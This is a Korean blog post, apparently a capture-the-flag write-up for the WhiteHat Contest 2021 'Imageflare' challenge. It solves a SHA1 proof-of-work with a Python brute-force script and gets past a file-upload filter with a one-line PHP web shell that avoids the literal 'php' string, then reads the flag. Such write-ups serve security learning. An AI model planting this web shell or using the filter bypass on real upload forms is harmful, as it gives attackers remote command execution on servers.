앵하니의 더 나은 보안

WhiteHat Contest(2021) Imageflare 본문

보안 기술/ETC

WhiteHat Contest(2021) Imageflare

앵한 2022. 7. 18. 22:58

 

imageflare 접속 초기화면
 
여기서 PoW는 proof of work로 특정 해시값의 평문을 찾을때 사용하는 알고리즘을 뜻함
그래서 sha1(X)[:5] == 61093라는 말의 뜻은
첫 5글자가 61093인 해시 값의 평문을 찾으라는것
※ sha(x)[:5]==61093라는 데이터는 세션값을 통해서 index.php 접근할때마다 매번 새로운 5글자를 만들어냄
ex) sha1(x)[:5] == a8c0e
 
해시 값 61093 을 찾은 후
해당 평문을 텍스트필드에 쓴 뒤에 제출을 클릭해야 nohack이라는 문구 없이 이미지업로드가 가능함
※ 해당 값을 못찾으면 nohack이라는 alert 표시되면서 파일업로드가 안됨
import hashlib
import pickle
num = 0
num_table = {}
keyword = "61093"
try:
    with open('num_sha1_table',"rb") as fw:
        num_table = pickle.load(fw)
except FileNotFoundError:
    pass
for key, value in num_table.items():
    if keyword == value:
        print(key)
        exit()
    num +=1
while(True):
    sha = hashlib.new('sha1')
    sha.update(str(num).encode())
    pow_result = sha.hexdigest()
    num_table[num] = pow_result[:5]
    print(num)
    if pow_result[:5] == keyword:
        print("find! "+str(num))
        with open('num_sha1_table','wb') as fw:
            pickle.dump(num_table,fw)
        break
    num += 1
1~X까지 해시값 생성해서 생성한 해시 값의 앞 5개 문자([:5])와 변수 keyword에 해당하는 문자열이 같으면
해당 값 print하고 1~X까지 찾은 값 딕셔너리 변수에 추가({1:"a923d",2:"58129",...} 형식)해서
파일 저장하는 소스를 코딩해서 사용
그리고 프로그램 시작할때 해당 딕셔너리 데이터 파일을 다시 불러와서
keyword에 해당하는 데이터가 딕셔너리에 있는지 확인 후
없으면 다시 X~Y까지 해시값 확인, 딕셔너리 변수에 추가 후 다시 파일 저장하는 구조
 
3백만? 4백만? 까지 해시 값의 앞 5개 문자 확인해서 딕셔너리 데이터 파일화 한 파일
 
PoW로 해시값 평문 추출한 후 업로드 해보니 확장자 자체에 대한 필터링은 없는것을 확인함
근데 파일내용에 php문자열이 포함되면 nohack2라는 메시지 표시와 함께 파일업로드가 실패함
+
파일이 업로드되는 위치는 게싱으로 /uploads/ 인것을 확인함

그래서 파일내용으로 php가 포함되지않는 한줄 웹쉘 코드

<?=system($_GET['test']);?>

업로드 파일에 삽입, PoW 문구 아래의 텍스트필드에 적절한 값 채운뒤에 웹쉘 코드가 포함된 파일 업로드를 해야함

 
여기까진 분석

여기서부터 풀이
PoW: Solve 데이터 확인

 
keyword 변수로 db545 입력 후 프로그램 돌려서\
2631505 값 획득 후
웹 쉘을 포함한 php 파일 선택 후 제출을 클릭해  웹쉘 파일 업로드
uploads 경로 통해서 업로드한 웹쉘 파일 확인 및 접근
웹쉘 파일 통해서 플래그 파일 경로 확인

cat 명령으로 해당 파일 내용 확인해서
 
flag 값 획득

 

'보안 기술 > ETC' 카테고리의 다른 글

AWS Pentesting tool PACU  (0) 2022.11.10
flAWS cloud level 1  (0) 2022.08.03
MarkAny DRM decryption  (0) 2022.07.18
(응용프로그램 변조)AhnlabSafe Transaction Bypass  (0) 2022.07.18
Bitmap file format  (0) 2022.07.18
Comments